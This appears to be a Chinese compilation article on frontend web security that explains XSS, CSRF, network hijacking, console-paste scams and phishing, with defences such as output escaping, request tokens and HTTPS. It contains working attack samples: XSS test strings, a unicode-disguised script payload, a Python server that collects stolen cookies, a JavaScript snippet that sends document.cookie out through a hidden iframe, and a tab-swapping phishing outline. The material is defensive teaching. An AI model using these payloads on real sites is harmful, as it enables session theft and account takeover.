怎样解决前端安全性问题（常见的前端安全性问题有哪些）

本篇文章给大家谈谈怎样解决前端安全性问题，以及常见的前端安全性问题有哪些对应的知识点，希望对各位有所帮助，不要忘了收藏本站喔。 今天给各位分享怎样解决前端安全性问题的知识，其中也会对常见的前端安全性问题有哪些进行解释，如果能碰巧解决你现在面临的问题，别忘了关注本站，现在开始吧！

本文目录一览：

• 1、HTML5技术分享 浅谈前端安全以及如何防范
• 2、电商网站开发中前端有哪些安全性的问题要解决
• 3、遭遇黑客，程序员，前端人员获取个人信息泄密问题你看该怎么解决？
• 4、前端安全防范
• 5、前端安全方面有没有了解？xss和csrf如何攻防
• 6、前端安全机制问题之一（XSS）

HTML5技术分享 浅谈前端安全以及如何防范

随着互联网的发达，各种WEB应用也变得越来越复杂，满足了用户的各种需求，但是随之而来的就是各种网络安全的问题。作为前端开发行业的我们也逃不开这个问题。所以今天我就简单聊一聊WEB前端安全以及如何防范。

首先前端攻击都有哪些形式，我们该如何防范?

一、XSS攻击

XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植 入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻 击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型 的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。

XSS攻击的危害包括：

1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

XSS攻击的具体表现：

1、JavaScript代码注入

下面是代码的页面

这段代码的作用是把第一个输入框的字符串，输出到第二个输入框，我们输入1，那么第二个input里的value值就是1，下面是页面的截图和源代码的截图(这里我输入下面的代码来测试)

<SCRIPTalert('xss')</SCRIPT

明显的可以看到，并没有弹出对话框，大家可能会疑惑为什么没有弹窗呢，看看源代码

我们看到我们输入的字符串被输出到第15行input标签里的value属性里面，被当成value里的值来显现出来，所以并没有弹窗，这时候我们该怎么办呢?聪明的人已经发现了可以在

<SCRIPTalert('xss')</SCRIPT

前面加个"来闭合input标签。所以应该得到的结果为

成功弹窗了，我们在看看这时的页面

看到后面有第二个input输入框后面跟有"字符串，为什么会这样呢，我们来看看源代码

解决办法：目前来讲，最简单的办法防治办法，还是将前端输出数据都进行转义最为稳妥，虽然显示出来是有script标签的，但是实际上，script标签的左右尖括号(<)，均被转义为html字符实体，所以，便不会被当做标签来解析的，但是实际显示的时候，这两个尖括号，还是可以正常展示的。

2、append的利用

上一小节我们防住了script标签的左右尖括号，但聪明的黑客们还是想出了好办法去破解，我们知道，直接给innerHTML赋值一段js，是无法被执行的。比如，

$('div').innerHTML ='<SCRIPTalert("okok");</SCRIPT '';

但是，jQuery的append可以做到，究其原因，就是因为jquery会在将append元素变为fragment的时候，找到其中的script标签，再使用eval执行一遍。jquery的append使用的方式也是innerHTML。而innerHTML是会将unicode码转换为字符实体的。

利用这两种知识结合，我们可以得出，网站使用append进行dom操作，如果是append我们可以决定的字段，那么我们可以将左右尖括号，使用unicode码伪装起来，就像这样--"\u003cscript\u003ealert('xss');"。接下来转义的时候，伪装成\u003的<会被漏掉，append的时候，则会被重新调用。虽然进行了转义，注入的代码还是会再次被执行

3、img标签的再次利用

img标签，在加载图片失败的时候，会调用该元素上的onerror事件。我们正可以利用这种方式来进行攻击。

但是，如果这张图片的地址我们换种写法呢?

这时的源码已经变为--src为空，但是onerror的时候，执行注入代码。我们刷新查看页面，就会发现，代码注入已经成功，需要继续转义。

二、 CSRF攻击

什么是CSRF攻击?

CSRF(Cross-site request forgery跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。其实就是网站中的一些提交行为，被黑客利用，你在访问黑客的网站的时候，进行的操作，会被操作到其他网站上(如：你所使用的网络银行的网站)。

1、要合理使用post与get

通常我们会为了省事儿，把一些应当提交的数据，做成get请求。殊不知，这不仅仅是违反了http的标准而已，也同样会被黑客所利用。

比如，你开发的网站中，有一个购买商品的操作。你是这么开发的：

那么，黑客的网站可以这样开发：

这样的话，用户只需要访问一次黑客的网站，其实就相当于在你的网站中，操作了一次。然而用户却没有感知。

所以，我们日常的开发，还是要遵循提交业务，严格按照post请求去做的。更不要使用jsonp去做提交型的接口，这样非常的危险。

2、xsrf攻击升级

如果你使用了post请求来处理关键业务的，还是有办法可以破解的。我们的业务代码如下：

黑客代码如下：

点击后，用户进行了提交，却连自己都不知情。这种情况如何防御呢?

最简单的办法就是加验证码，这样除了用户，黑客的网站是获取不到用户本次session的验证码的。但是这样也会降低用户的提交体验，特别是有些经常性的操作，如果总让用户输入验证码，用户也会非常的烦。

另一种方式，就是在用访问的页面中，都种下验证用的token，用户所有的提交都必须带上本次页面中生成的token，这种方式的本质和使用验证码没什么两样，但是这种方式，整个页面每一次的session，使用同一个token就行，很多post操作，开发者就可以自动带上当前页面的token。如果token校验不通过，则证明此次提交并非从本站发送来，则终止提交过程。如果token确实为本网站生成的话，则可以通过。

代码如下

并没有携带本站每次session生成的token，则提交失败。

本站的网站form，则都会自动携带本站生成的token

再次使用本站的网页进行提交，则通过

当然，上面的只是例子，具体的token生成，肯定是要随着session与用户ID去变的，如果各位看官觉得自己的网站也需要加个token，请自行百度，进行深入的学习。

三、网络劫持攻击

很多的时候，我们的网站不是直接就访问到我们的服务器上的，中间会经过很多层代理，如果在某一个环节，数据被中间代理层的劫持者所截获，他们就能获取到使用你网站的用户的密码等保密数据。比如，我们的用户经常会在各种饭馆里面，连一些奇奇怪怪的wifi，如果这个wifi是黑客所建立的热点wifi，那么黑-客就可以结果该用户收发的所有数据。这里，建议站长们网站都使用https进行加密。这样，就算网站的数据能被拿到，黑客也无法解开。

如果你的网站还没有进行https加密的化，则在表单提交部分，最好进行非对称加密--即客户端加密，只有服务端能解开。这样中间的劫持者便无法获取加密内容的真实信息了。

四、控制台注入代码

不知道各位看官有没有注意到天猫官网控制台的警告信息，如图4.1所示，这是为什么呢?因为有的黑客会诱骗用户去往控制台里面粘贴东西(欺负小白用户不懂代码)，比如可以在朋友圈贴个什么文章，说:"只要访问天猫，按下F12并且粘贴以下内容，则可以获得xx元礼品"之类的，那么有的用户真的会去操作，并且自己隐私被暴露了也不知道。

天猫这种做法，也是在警告用户不要这么做，看来天猫的前端安全做的也是很到位的。不过，这种攻击毕竟是少数，所以各位看官看一眼就行，如果真的发现有的用户会被这样攻击的话，记得想起天猫的这种解决方案。

五、钓=鱼

钓鱼也是一种非常古老的攻击方式了，其实并不太算前端攻击。可毕竟是页面级别的攻击，我们也来一起聊一聊。我相信很多人会有这样的经历，Q-Q群里面有人发什么兼职啦、什么自己要去国外了房子车子甩卖了，详情在我Q-Q空间里啦，之类的连接。打开之后发现一个Q-Q登录框，其实一看域名就知道不是Q-Q，不过做得非常像Q-Q登录，不明就里的用户们，就真的把用户名和密码输入了进去，结果没登录到Q-Q，用户名和密码却给人发过去了。

其实这种方式，在前端也有利用。下面，我们就来试试如果利用前端进行一次逼真的钓鱼。

1 首先，我们在xx空间里分享一篇文章，然后吸引别人去点击。

2 接着，我们在cheat.php这个网站上面，将跳转过来的源网页地址悄悄的进行修改。

于是，在用户访问了我们的欺骗网站后，之前的tab已经悄然发生了变化，我们将其悄悄的替换为了钓鱼的网站，欺骗用户输入用户名、密码等。

3 我们的钓鱼网站，伪装成XX空间，让用户输入用户名与密码

这种钓鱼方式比较有意思，重点在于我们比较难防住这种攻击，我们并不能将所有的页面链接都使用js打开。所以，要么就将外链跳转的连接改为当前页面跳转，要么就在页面unload的时候给用户加以提示，要么就将页面所有的跳转均改为window.open，在打开时，跟大多数钓鱼防治殊途同归的一点是，我们需要网民们的安全意识提高。

六、我们平时开发要注意些什么?

开发时要提防用户产生的内容，要对用户输入的信息进行层层检测要注意对用户的输出内容进行过滤(进行转义等)重要的内容记得要加密传输(无论是利用https也好，自己加密也好)

get与post请求，要严格遵守规范，不要混用，不要将一些危险的提交使用jsonp完成。

对于URL上携带的信息，要谨慎使用。心中时刻记着，自己的网站哪里可能有危险。

电商网站开发中前端有哪些安全性的问题要解决

电子商务简单的说就是利用Internet进行的交易活动，电子商务："电子"+"商务"，从电子商务的定义可以了解电子商务的安全也就相应的分为两个方面的安全：一方面是"电子"方面的安全，就是电子商务的开展必须利用Internet来进行，而Internet本身也属于计算机网络，所以电子商务的第一个方面的安全就是计算机网络的安全，它包括计算机网络硬件的安全与计算机网络软件的安全，计算机网络存在着很多安全威胁，也就给电子商务带来了安全威胁；另一方面是"商务"方面的安全，是把传统的商务活动在Internet上开展时，由干Internet存着很多安全隐患给电子商务带来了安全威胁，简称为"商务交易安全威胁"。这两个方面的安全威胁也就给电子商务带来了很多安全问题：
（一）计算机网络安全威胁
电子商务包含"三流"：信息流、资金流、物流，"三流"中以信息流为核心为最重要，电子商务正是通过信息流为带动资金流、物流的完成。电子商务跟传统商务的最重要的区别就是以计算机网络来传递信息，促进信息流的完成。计算机网络的安全必将影响电子商务中的"信息流"的传递，势必影响电子商务的开展。计算机网络存在以下安全威胁：
1、黑客攻击
黑客攻击是指黑客非法进入网络，非法使用网络资源。随着互联网的发展，黑客攻击也是经常发生，防不胜防，黑客利用网上的任何漏洞和缺陷修改网页、非法进入主机、窃取信息等进行相关危害活动。2003年，仅美国国防部的"五角大楼"就受到了了230万次对其网络的尝试性攻击。从这里可以看出，目前黑客攻击已成为了电子商务中计算机网络的重要安全威胁。
2、计算机病毒的攻击
病毒是能够破坏计算机系统正常进行，具有传染性的一段程序。随着互联网的发展，病毒利用互联网，使得病毒的传播速度大大加快，它侵入网络，破坏资源，成为了电子商务中计算机网络的又一重要安全威胁。
3、拒绝服务攻击
拒绝服务攻击（DoS）是一种破坏性的攻击，它是一个用户采用某种手段故意占用大量的网络资源，使系统没有剩余资源为其他用户提供服务的攻击。目前具有代表性的拒绝服务攻击手段包括SYNflood、ICMPflood、UDPflood等。随着互联网的发展，拒绝服务攻击成为了网络安全中的重要威胁。
（二）商务交易安全威胁
把传统的商务活动在Internet上进行，由于Internet本身的特点，存在着很多安全威胁，给电子商务带来了安全问题。Internet的产生源于计算机资源共享的需求，具有很好的开放性，但正是由子它的开放性，使它产生了更严重的安全问题。Internet存在以下安全隐患：
1、开放性
开放性和资源共享是Internet最大的特点，但它的问题却不容忽视的。正是这种开放性给电子商务带来了安全威胁。
2、缺乏安全机制的传输协议
TCP／IP协议是建立在可信的环境之下，缺乏相应的安全机制，这种基于地址的协议本身就会泄露口令，根本没有考虑安全问题；TCP／IP协议是完全公开的，其远程访问的功能使许多攻击者无须到现场就能够得手，连接的主机基于互相信任的原则等这些性质使网络更加不安全。
3、软件系统的漏洞
随着软件系统规模的不断增大，系统中的安全漏洞或"后门"也不可避免的存在。如cookie程序、JAVA应用程序、IE浏览器等这些软件与程序都有可能给我们开展电子商务带来安全威胁。
4、信息电子化
电子化信息的固有弱点就是缺乏可信度，电子信息是否正确完整是很难由信息本身鉴别的，而且在Internet传递电子信息，存在着难以确认信息的发出者以及信息是否被正确无误地传递给接收方的问题。
（三）计算机网络安全威胁与商务交易安全威胁给电子商务带来的安全问题
1、信息泄露
在电子商务中表现为商业机密的泄露，以上计算机网络安全威胁与Internet的安全隐患可能使得电子商务中的信息泄漏，主要包括两个方面：（1）交易一方进行交易的内容被第三方窃取。（2）交易一方提供给另一方使用的文件第三方非法使用。
2、篡改
正是由于以上计算机网络安全威胁与Internet的安全隐患，电子的交易信息在网络上传输的过程中，可能被他人非法地修改、删除或重放（指只能使用一次的信息被多次使用），这样就使信息失去了真实性和完整性。
3、身份识别
正是由于电子商务交易中交易两方通过网络来完成交易，双方互不见面、互不认识，计算机网络的安全威胁与Internet的安全隐患，也可能使得电子商务交易中出现身交易身份伪造的问题。
4、信息破坏
计算机网络本身容易遭到一些恶意程序的破坏，如计算机病毒、特洛伊木马程序、逻辑炸弹等，导致电子商务中的信息在传递过程被破坏。
5、破坏信息的有效性
电子商务中的交易过程中是以电子化的信息代替纸面信息，这些信息我们也必须保证它的时间的有效与本身信息的有效，必须能确认该信息确是由交易一方签发的，计算机网络安全威胁与Internet的安全隐患，使得我们很难保证电子商务中的信息有效性。
6、泄露个人隐私
隐私权是参与电子商务的个人非常关心的一个问题。参与到电子商务中的个人就必须提供个人信息，计算机网络安全威胁与Internet的安全隐患有可能导致个人信息泄露，破坏到个人隐私。

遭遇黑客，程序员，前端人员获取个人信息泄密问题你看该怎么解决？

这是一个安全问题，大致需要解决的是前端可能导致的权限被拉取(cookie跨域访问等)，传输过程中的信息抓包(中间人攻击等)，以及后端数据库被拖库(服务器被黑)
首先前端不要用cookie进行权限的管理，使用token的方式，有条件设计单独的token服务器。非分布式的可以使用session。
其次数据的交互应该走https或一定的加密规则，保证数据传输过程的安全性。
前端开发者发送数据的时候，重要的数据一定得post不能使用get，还可以进行一定的数据加密和校验规则。
最后后端接收并保存到数据库，重要数据和隐私数据是必然需要加密存储的，这里涉及到权限问题，加密的隐私数据与规则应该尽量保证只有用户才能查看，保证拖库后也无法直接获取用户信息。加密规则加盐规则保密。

前端安全防范

CSRF（Cross-Site Request Forgery）的意思是跨站点请求伪造，也被称作一键攻击或会话控制。其原理是攻击者构造网站后台某个功能接口的请求地址，诱导用户去点击或使用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服务器接收后会被误以为是用户合法的操作。对于GET形式的接口地址可轻易被攻击。对于POST形式的接口地址也不是百分百安全，攻击者可以诱导用户进入带Form表单并且可用POST方式提交参数的页面。

一个典型的CSRF有着如下的流程：

受害者访问包含这个img的页面后，浏览器会自动向发出一次http请求，网站会收到包含受害者登录信息的一次跨域请求。

这种类型的CSRF利用起来通常使用的是一个自动提交的表单，访问该页面后，表单会自动提交，相当于模拟用户完成了一次POST操作。
POST类型的攻击通常比GET要求更严格一些，但不能将安全寄托在仅允许POST上面。

链接类型的CSRF并不常见，比起其他两种用户打开页面就中招的情况，这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片里嵌入恶意链接，或者以广告的形式诱导用户中招。

上文中讲了CSRF的两个特点：

针对这两点，可以专门制定防护策略：

在http协议中，每一个异步请求都会携带两个Header，用于标记来源域名：

这两个Header在浏览器发起请求时，大多数情况会自动带上，并且不能由前端自定义内容，服务器可以通过解析这两个Header中的域名，确定请求的来源。

如果origin存在，那么直接使用origin中的值来确定来源域名就可以。但是origin在一下两种情况并不存在：

根据http协议，在http头中有一个字段叫referer，记录了该http请求的来源地址。
对于Ajax请求，图片和script等资源的请求，referer为发起请求的页面地址。
对于页面跳转，referer为打开页面历史记录的前一个页面地址。
因此我们使用referer中链接的origin部分可以得知请求的来源域名。

将referer policy的策略设置成same-origin，对于同源的链接和引用，会发送referer，referer的值为host不带path；跨域访问则不携带referer。

设置referer policy的方法有三种：

在以下情况里referer没有被携带或者不可信：

前端安全方面有没有了解？xss和csrf如何攻防

在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"</script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
http://example.com/bbs/create_post.php?title=标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
http://example.com/bbs/create_post.php?title=我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 <img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。

前端安全机制问题之一（XSS）

作为安全方面的小白，笔记当然要从基础开始，简单的来
先说说XSS即跨站脚本攻击

//使用“\”对特殊字符进行转义，除数字字母之外，小于127使用16进制“\xHH”的方式进行编码，大于用unicode（非常严格模式）。

HtmlEncode
将字符转换成HTMLEntites，以对抗XSS,这个方法要意义啊去匹配，感觉有点麻烦，但是好在容易理解

这里给一个测试案例看看

不是我想吐槽，我想说要是真心都这样写，先不说写的人如何，对接手的人来说就是噩梦
接着来提供另外的方法：在表单提交或者url参数传递前，对需要的参数进行过滤
这个就留给大家来填充吧，我要搬砖去了 关于怎样解决前端安全性问题和常见的前端安全性问题有哪些的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。 怎样解决前端安全性问题的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于常见的前端安全性问题有哪些、怎样解决前端安全性问题的信息别忘了在本站进行查找喔。

版权声明：本文内容由网络用户投稿，版权归原作者所有，本站不拥有其著作权，亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容，请联系我们jiasou666@gmail.com 处理，核实后本网站将在24小时内删除侵权内容。